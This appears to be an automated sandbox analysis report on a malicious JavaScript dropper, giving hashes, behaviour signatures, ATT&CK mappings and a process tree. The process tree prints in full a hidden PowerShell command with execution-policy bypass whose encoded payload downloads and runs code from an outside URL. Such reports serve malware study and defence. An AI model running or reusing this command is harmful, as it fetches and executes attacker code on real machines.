5a471de75bb84abcd588704d1e70c6d4515eb893a9e2bbbd751eeac8c1670467

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
26/12/2023, 01:46

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General

Target

2021APT-28_51438453.js
Size

87KB
MD5

906a75c0d5bd0c141acf239d602a81fb
SHA1

1faf1df1d1966ea2d1aeb7f5d8e993d6bc7d2758
SHA256

e712a5abc8a6bb263f06d7b6cf4bdca8d7bf1d422af0b9585f48f4df3bfc58fb
SHA512

f259602088b886f51e46a3e4ccbf2ad2b5ae11a4d017693ac59452b9bc0c82da11eb5021074ecf3f942d28f34cfa3cffa51ce89ff9ac905ced476d971bf98838
SSDEEP

1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/oV:59Ry98guHVBqqg2bcruzUHmLKeMMU7GH

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2360	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2360	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2360	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2932 wrote to memory of 1948	2932	wscript.exe	28
PID 2932 wrote to memory of 1948	2932	wscript.exe	28
PID 2932 wrote to memory of 1948	2932	wscript.exe	28
PID 1948 wrote to memory of 2360	1948	cmd.exe	30
PID 1948 wrote to memory of 2360	1948	cmd.exe	30
PID 1948 wrote to memory of 2360	1948	cmd.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_51438453.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2360

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2360-5-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2360-6-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2360-7-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

Filesize
9.6MB

Download
memory/2360-9-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

Filesize
9.6MB

Download
memory/2360-11-0x0000000002AB0000-0x0000000002B30000-memory.dmp

Filesize
512KB

Download
memory/2360-10-0x0000000002AB0000-0x0000000002B30000-memory.dmp

Filesize
512KB

Download
memory/2360-8-0x0000000002AB0000-0x0000000002B30000-memory.dmp

Filesize
512KB

Download
memory/2360-12-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

Filesize
9.6MB

Download